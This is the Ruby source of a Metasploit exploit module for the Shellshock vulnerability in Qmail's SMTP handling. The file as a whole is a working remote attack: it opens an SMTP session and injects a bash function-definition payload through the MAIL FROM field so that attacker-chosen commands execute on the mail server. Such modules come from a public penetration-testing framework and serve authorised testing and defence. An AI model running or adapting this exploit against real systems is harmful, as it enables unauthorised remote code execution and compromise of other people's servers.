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 ##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Smtp
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
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      'Description'    => %q{
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        This module exploits a shellshock vulnerability on Qmail, a public
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        domain MTA written in C that runs on Unix systems.
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        Due to the lack of validation on the MAIL FROM field, it is possible to
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        execute shell code on a system with a vulnerable BASH (Shellshock).
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        This flaw works on the latest Qmail versions (qmail-1.03 and
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        netqmail-1.06).
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        However, in order to execute code, /bin/sh has to be linked to bash
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        (usually default configuration) and a valid recipient must be set on the
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        RCPT TO field (usually [email protected]).
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        The exploit does not work on the "qmailrocks" community version
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        as it ensures the MAILFROM field is well-formed.
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      },
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      'Author'         =>
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        [
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          'Mario Ledo (Metasploit module)',
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          'Gabriel Follon (Metasploit module)',
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          'Kyle George (Vulnerability discovery)'
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        ],
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      'License'        => MSF_LICENSE,
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      'Platform'       => ['unix'],
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      'Arch'           => ARCH_CMD,
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      'References'     =>
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        [
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          ['CVE', '2014-6271'],
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          ['CWE', '94'],
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          ['OSVDB', '112004'],
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          ['EDB', '34765'],
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          ['URL', 'https://seclists.org/oss-sec/2014/q3/649'],
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          ['URL', 'https://lists.gt.net/qmail/users/138578']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x3e",
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          'Space'       => 888,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic telnet perl ruby python'
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              # telnet ruby python and perl works only if installed on target
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            }
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        },
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      'Targets'        => [ [ 'Automatic', { }] ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2014-09-24'
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    ))
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    deregister_options('MAILFROM')
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  end
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  def smtp_send(data = nil)
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    begin
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      result = ''
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      code = 0
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      sock.put("#{data}")
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      result = sock.get_once
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      result.chomp! if (result)
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      code = result[0..2].to_i if result
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      return result, code
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    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
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      return result, 0
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    rescue ::Exception => e
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      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
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      return nil, 0
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    end
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  end
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  def exploit
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    to = datastore['MAILTO']
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    connect
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    result = smtp_send("HELO localhost\r\n")
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    if result[1] < 200 || result[1] > 300
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      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
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    end
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    print_status('Sending the payload...')
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    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
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    if result[1] < 200 || result[1] > 300
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      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
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    end
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    print_status("Sending RCPT TO #{to}")
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    result = smtp_send("rcpt to:<#{to}>\r\n")
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    if result[1] < 200 || result[1] > 300
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      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
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    end
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    result = smtp_send("data\r\n")
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    if result[1] < 200 || result[1] > 354
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      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
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    end
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    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
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    if result[1] < 200 || result[1] > 300
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      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
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    end
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    disconnect
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  end
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end
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